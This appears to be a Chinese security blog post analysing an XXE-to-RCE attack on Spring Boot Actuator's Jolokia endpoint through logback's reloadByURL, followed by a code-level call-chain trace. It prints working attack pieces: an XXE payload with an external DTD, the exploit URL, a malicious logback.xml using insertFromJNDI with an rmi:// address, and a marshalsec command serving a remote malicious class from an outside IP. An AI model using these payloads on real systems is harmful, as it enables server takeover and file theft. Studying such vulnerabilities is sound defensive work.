Spring actuator Jolokia XXE RCE

Spring actuator Jolokia XXE RCE

Jolokia允许通过HTTP访问所有已注册的MBean,同时可以使用URL列出所有可用的MBeans操作,访问http://127.0.0.1:8090/jolokia/list即可列出,如下为返回:

格式化后logback Mbean

jolokia在logback JMXConfigurator中提供的“reloadByURL”方法允许从外部URL重新加载日志的记录配置

官网给出了GET和POST两种方式的访问路径以及参数:

 

 

XXE利用:

搭建简单HTTP服务器,用于下载logback.xml(本机1337端口开启服务)

  1. <?xml version="1.0" encoding="utf-8" ?>  
  2. <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://127.0.0.1:8080/file.dtd">%remote;%int;]>  
  3. <a>&trick;</a>  

file.dtd(8080端口开启服务)

最终访问:

http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:1337!/logback.xml

Mbean name:

ch.qos.logback.classic:name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/
Operation: reloadByUrl
Params: http:!/!/127.0.0.1!/logback.xml

获取到D:/hello.txt的内容:

 

RCE利用:

  1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
  2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
  3. 目标机器使用 saxParser.parse 解析 xml 文件 (xxe)
  4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签,允许访问外部 JNDI 服务器地址
  5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

首先服务器上创建可以远程访问的xml文件,logback.xml:

<configuration>
  <insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
</configuration>

在此处开启服务,使得xml可以被远程获取到

 

服务器上解析此xml文件时,它会创建与“env-entry-name”参数值中指定的攻击者LDAP/RMI服务器的连接,从而导致JNDI进行解析

同时需要创建JNDI服务:

使用marshalsec工具可以方便地创建JNDI服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://46.110.60.232:8880/#JNDIObject 1097

 

其中JNDIObject类为恶意执行类,当调用RMI服务后会进行代码执行

RMI核心特点之一就是动态加载类,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class.  RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类)

JNDI解析后,进行恶意RMI远程类调用:

此处由于JDK版本问题,未能反弹shell

 

调用链:

首先在JolokiaMvcEndpoint类中设置了根路径为/jolokia

后续路径为任何(/**)时,都会由handle方法进行处理:

 

下一步会进到handleRequest

进入handleRequestInternalà servletInstance.service

进入doGet方法:

接下来为handle处理HttpRequest请求,进入handleGetRequest方法:

此方法会对传入的Uri和pPathinfo进行解析(含有对/的过滤)以及jmx请求的构造:

JmxReq = JmxRequestFactory.createGetRequest是通过 JmxRequestFactory 类创建一个 JmxRequest 的子类(如果请求的类别在 CREATOR_MAP 存在,就会创建对应的子类)

子类对象构造后如下:

通过operation和argument等参数进行jmx的服务访问

HandleRequest中建立MBeanServer同时传入JmxReq请求参数:

到reloadByURL中执行:

跟进doConfigure:建立连接

doConfigure:

外部Xml成功传入,执行saxParser 成功读取到文件内容:

参考:https://xz.aliyun.com/t/4258

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值